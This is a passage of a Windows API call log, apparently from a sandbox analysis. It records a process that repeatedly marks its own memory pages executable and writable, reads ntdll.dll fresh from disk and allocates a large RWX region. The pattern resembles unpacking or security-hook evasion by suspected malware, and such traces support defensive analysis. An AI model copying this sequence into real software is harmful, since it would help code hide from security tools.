ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.644] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x415000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.654] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x408000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.665] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.676] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.791] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.802] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x417000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x417000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.812] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x416000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x416000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.919] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x413000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.930] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x412000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x412000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.942] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x411000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x411000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0235.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x410000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x410000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.102] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40f000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.113] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40e000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40e000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.123] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40d000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.227] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.239] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x40b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.251] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x407000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.308] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x406000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x406000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x405000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x405000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.423] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x404000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.519] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x403000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x403000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.531] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x402000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x402000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.542] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x401000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x401000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0236.702] RtlGetProcessHeaps (in: HeapCount=0x2, HeapArray=0x1eb8f23c | out: HeapArray=0x1eb8f23c*=0x8e0000) returned 0x2 [0236.715] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtPathName=0x1eb8f1ec, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.722] NtCreateFile (in: FileHandle=0x1eb8f20c, DesiredAccess=0x120089, ObjectAttributes=0x1eb8f1d4*(Length=0x18, RootDirectory=0x0, ObjectName="\\??\\C:\\WINDOWS\\SYSTEM32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x1eb8f1f4, AllocationSize=0x0, FileAttributes=0x80, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x60, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x1eb8f20c*=0x39c, IoStatusBlock=0x1eb8f1f4*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0236.795] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x920a00) returned 1 [0236.803] NtQueryInformationFile (in: FileHandle=0x39c, IoStatusBlock=0x1eb8f1f4, FileInformation=0x1eb8f14c, Length=0x18, FileInformationClass=0x5 | out: IoStatusBlock=0x1eb8f1f4, FileInformation=0x1eb8f14c) returned 0x0 [0236.820] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x18bd90) returned 0x1eb9b020 [0236.961] NtReadFile (in: FileHandle=0x39c, Event=0x0, UserApcRoutine=0x0, UserApcContext=0x0, IoStatusBlock=0x1eb8f1f4, Buffer=0x1eb9b020, BufferLength=0x18b990, ByteOffset=0x1eb8f164*=0, Key=0x0 | out: IoStatusBlock=0x1eb8f1f4, Buffer=0x1eb9b020*) returned 0x0 [0237.069] NtClose (Handle=0x39c) returned 0x0 [0237.074] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x18e001) returned 0x1ed38020 [0237.245] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x1eb9b020) returned 1 [0237.259] NtAllocateVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1eb8f1e0*=0x0, ZeroBits=0x0, RegionSize=0x1eb8f1e4*=0x31f69c, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x1eb8f1e0*=0x1eed0000, RegionSize=0x1eb8f1e4*=0x320000) returned 0x0 [0237.375] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x912960 [0237.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.438] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.448] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.507] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.518] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.528] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.548] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.680] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.691] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x913968 [0237.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.706] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.740] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.751] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.761] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.780] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.790] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.800] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.811] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.830] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.840] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.871] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.910] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.921] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.931] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.941] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.952] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.971] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.981] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x1000) returned 0x928a48 [0237.987] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0237.997] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.014] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.024] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.034] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.046] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.063] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.074] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.084] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.094] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.115] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.124] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x2000) returned 0x929a50 [0238.130] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.140] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.176] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.186] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.197] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.207] RtlFreeHeap (HeapHandle=0x8e0000, Flags=0x0, BaseAddress=0x928a48) returned 1 [0238.219] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.230] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.240] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.250] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.283] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.295] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41c000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.305] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x414000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.316] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x419000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.333] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41a000, NumberOfBytesToProtect=0x561401, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0238.344] RtlAllocateHeap (HeapHandle=0x8e0000, Flags=0x0, Size=0x3000) returned 0x92ba58 [0238.350] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, NewAccessProtection=0x40, OldAccessProtection=0x5613e1 | out: BaseAddress=0x561405*=0x41b000, NumberOfBytesToProtect=0x561401, 